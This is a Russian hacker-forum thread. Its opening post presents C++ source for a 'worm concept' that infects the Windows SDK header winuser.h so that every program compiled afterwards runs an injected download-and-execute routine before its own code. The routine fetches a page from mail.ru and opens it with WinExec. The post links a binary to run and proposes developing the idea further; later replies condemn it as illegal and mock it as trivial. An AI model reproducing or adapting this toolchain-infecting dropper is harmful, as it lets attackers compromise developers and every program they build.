вот решил погимориться и наваял. правда это не совсем червь пока - просто дроппер, суть заключена в том что в стандартные хидеры SDK добавляется код download & exec, переназначается точка входа и любая далее написанная прога (после заражения) в данной версии будет сливать шапку mail.ru и только потом работать сама. правда сей стафф не попрет если гдето в проге есть переназначение /ENTRY. кто хочет затестить - запускаем бинарник ( http://www.rapidshare.ru/1332796 ) далее пробуем пересобрать любой прожект (кроме длл атл и консоли) при удачном исходе - в папке проге будет появляться хтмл файл. предлагаю тему в разработку в целях обучения квайнкодингу - для самогенерации) Code: /*************************************************/ /* */ /* visual studio 2008 C++ worm concept by sn0w */ /* copyright (c) 2010, antichat.ru community */ /* */ /*************************************************/ /****** for educational purposes only ******/ /***** лишь в ознакомительных целях *****/ // стандартные инклуды, объединение секций, оптимизация и назначение точки входа // чтобы не использовать C-Runtime #include <windows.h> #pragma optimize("gsy", on) #pragma comment(linker, "/MERGE:.rdata=.data") #pragma comment(linker,"/MERGE:.text=.data") #pragma comment(linker,"/SECTION:.data,ERW") #pragma comment(linker, "/ENTRY:WinMain") // какбы сократил разделитель строк для записи в файл #define CRLF "\r\n" // массив, содержащий код который будет записан в winuser.h char dev_c0de[] = "#ifndef _CONSOLE"CRLF // #ifndef - то что не объявлено, те мы будем использовать наш код "#ifndef _USRDLL"CRLF // только в тех случаях, когда - это не консоль, не длл, не атл и не отладочная версия "#ifndef _ATL_DLL"CRLF "#ifndef _DEBUG"CRLF "#pragma once"CRLF // включаем заголовки единожды, чтобы не было палева и конфликтов "#ifndef _WINREG_"CRLF "#include \"winreg.h\""CRLF // это лишнее, поскольку реестром не юзаемся (предидущие версии) "#endif"CRLF "#ifndef _WININET_"CRLF // "#include \"wininet.h\""CRLF // ужно для функций download "#endif"CRLF "#pragma comment(lib,\"wininet\")"CRLF // тут мы подключаем вининет для реализации скачки "#pragma comment(linker, \"/ENTRY:crtinit12\")"CRLF // тут перенаправляем точку входа в программе (1st goal) // т.о. вместо оригинальной, мы замещаем ее своей, которая будет вызвана ранее чем startup код "extern \"C\" void __cdecl WinMainCRTStartup(void);"CRLF // это ссылка на юзерскую WinMain "extern \"C\" void __cdecl __security_init_cookie(void);"CRLF // а это - не преинит, обеспечивающий обработку исключений ////////////////////////////////////////////////////////////////////////// // эта функция осуществляет скачку и запуск файла с инета "void call_drop_()"CRLF "{"CRLF "LPCSTR szAccept[] = {\"*/*\", NULL};"CRLF "LPCSTR szUserAgent = \"Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3\";"CRLF "HANDLE hheap = GetProcessHeap();"CRLF "HINTERNET hInternet = InternetOpen(szUserAgent, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL,0);"CRLF "DWORD flags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_PRAGMA_NOCACHE;"CRLF "HINTERNET hConnect = InternetConnect(hInternet, \"mail.ru\", 80, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);"CRLF "HINTERNET hRequest = HttpOpenRequest(hConnect, \"GET\", \"/\", NULL, NULL, szAccept, flags, 0);"CRLF "HttpSendRequest(hRequest, 0, 0, NULL, 0);"CRLF "LPVOID outbuff = HeapAlloc(hheap, HEAP_ZERO_MEMORY, 4096);"CRLF "LPVOID p = outbuff;"CRLF "DWORD size = 0, curr = 0;"CRLF "while(InternetReadFile(hRequest, p, 4096, &curr)==TRUE && curr !=0){"CRLF "size += curr;"CRLF "outbuff = HeapReAlloc(hheap, 0, outbuff, size + 4096);"CRLF "p = (LPVOID)((DWORD)outbuff+size);}"CRLF "InternetCloseHandle(hRequest);"CRLF "InternetCloseHandle(hConnect);"CRLF "InternetCloseHandle(hInternet);"CRLF "#define F_NAME \"head.html\""CRLF "HANDLE hfile = CreateFileA(F_NAME, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS,0, NULL);"CRLF "WriteFile(hfile, outbuff, size, &size, NULL);"CRLF "CloseHandle(hfile);"CRLF "HeapFree(hheap,0 ,outbuff);"CRLF "WinExec(F_NAME, SW_SHOWNORMAL);"CRLF "Sleep(2000);"CRLF "//DeleteFile(F_NAME);"CRLF "}"CRLF ////////////////////////////////////////////////////////////////////////// // это как говорилось - тело редиректа. при запуске сперва будут отработаны именно эти инструкции "void APIENTRY crtinit12(void)"CRLF "{"CRLF "call_drop_();"CRLF // вызываем нащ дроппер "__security_init_cookie();"CRLF // инициализируем систему исключений "WinMainCRTStartup();"CRLF // вызываем оригинальную программу "}"CRLF ////////////////////////////////////////////////////////////////////////// "#endif"CRLF "#endif"CRLF "#endif"CRLF "#endif"CRLF "#endif /* !_WINUSER_ */"CRLF; ///////////////////////////////////////////////////////////// // подпрограмма установки: // // ищем в реестре установлена или не т СДК (признак наличия визуал студии) // void setup_me() { HKEY hk; char szDataBuf[256]; char sz_winuser_h[256]; DWORD dwSize; if(RegOpenKey(HKEY_CURRENT_USER, "software\\microsoft\\microsoft sdks\\windows", &hk)!=ERROR_SUCCESS) return; // abort, no sdk available, or no approp rights dwSize = 256; if(RegQueryValueEx(hk, "CurrentInstallFolder", NULL, NULL, (LPBYTE)szDataBuf, &dwSize)!=ERROR_SUCCESS){ RegCloseKey(hk); return; // abort, couldnt retrieve sdk path } RegCloseKey(hk); // да, она есть, теперь формируем полный путь к winuser.h lstrcpy(sz_winuser_h, szDataBuf); lstrcat(sz_winuser_h, "include\\winuser.h"); // 2. Now open winuser.h and write our code HANDLE hwinh = CreateFileA(sz_winuser_h, GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SH ARE_WRITE, 0,OPEN_EXISTING, 0, NULL); if(hwinh == INVALID_HANDLE_VALUE) return; // cant open // да он есть, открыли, и проецируем в память для удобства HANDLE hmap = CreateFileMappingA(hwinh, 0, PAGE_READWRITE, 0, 462759, 0); if(hmap == NULL){ CloseHandle(hwinh); return; // cant map } LPVOID lpmem = MapViewOfFile(hmap,FILE_MAP_ALL_ACCESS,0,0,0); if(lpmem == NULL){ CloseHandle(hmap); CloseHandle(hwinh); return; } // cant map LPBYTE bytes = (LPBYTE)lpmem; // теперь проверяем, заражен ли он уже? признак - 6й байт файла - точка // check watermark if(bytes[5]=='.'){ // already infected UnmapViewOfFile(lpmem); CloseHandle(hmap); CloseHandle(hwinh); return; // уже заражен } // продолжаем работу, - маркируем как инфицированный // mark as infected and write code bytes[5] = '.'; // а теперь едем в конец файла и сдвигаемся назад до символа # // для того чтобы найти последнюю #endif и вписаться за ней //roll to the end (zeroes) char *edittarget; DWORD *fast_roll = (LPDWORD)bytes; while(*fast_roll!=0)fast_roll+=sizeof(DWORD); edittarget = (char*)fast_roll+4; while(*edittarget!='#')edittarget--; // нашли, и теперь полностью переписываем туда наш массив с девкодом // now finally write stuff for(int i=0; i< sizeof(dev_c0de); i++) edittarget[i] = dev_c0de[i]; UnmapViewOfFile(lpmem); CloseHandle(hmap); CloseHandle(hwinh); // инфицирование завершено } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { setup_me(); return 0; }
УУУ ЗЛО ст 273 УК РФ до 7 лет лишения свободы. Это каким надо быть какашкой, что бы пакостить братьям программистам...
да манифест хакера просто отдыхает! ... теперь скрипткидисы смогут программерам портить жизть... маладес! тока нах... программу делать если все то же самое делается и при ручном вводе в заголовочный файл? ... не порнимаю ничего в мотивации написания программ которые только пишут в другой файл! То в host теперь в винузерхиадер.... это чего типа хеллоу ворлд?
да я за !!! просто хеллоуворлдом попахивает.... всего то нужно было сказать пишу код в винюзер.хы 8)))) ... вот новичкам ... как пишется в другой файл ! А чего туда пишется .... хеллоу ворлд как скачать файл по http-Ы !!! 2 хеллоу ворлда на одну программу ... не перебор? или вот теперь хеллоу ворлдщики смогут программерам жизть испортить? 8)) Оптимисты вы однако!
Nightmarе загнул ты про "илиты". Обладание высоким рейтингом на форуме, не говорит о том что этот человек действительно гуру. Вася может быть техническим директором крупной конторы зарегавшимся здесь ради одного двух комментариев и то что у него рейтинг 0 и 4 сообщения на форуме не говорит что он нуб ) Ну, а своё мнение я уже говорил. Подло это своим товарищям портить жизнь.
2 snow ... ну как бЭ .... это не помидоры! Твой код arp сканера на который почему то никто не обратил внимания действительно ВЕШЬЬЬЬЬ....(пусть и с ошибками, но это лишь путь для вдумчивого) но на античате западлостроение (дешевая слава срипткидису спать не дает) пользуется спросом и вот уже и программеры пишут коньюктурные приложения! чтоли... как пела Шапокляк "хорошими делами прославиться низяяяяяя!"
опять 25. когда начнем код комментить? тому кто код понимает интересно не будет => выкладывать не нужно. а кто слабо понимает как ему без комментов разобраться?
ты, наверное, даже не представляешь как коменты облегчают жизнь. т.е. я читал и фантазировал одно, а коменты показали, что понимал не правильно. ферштейн? )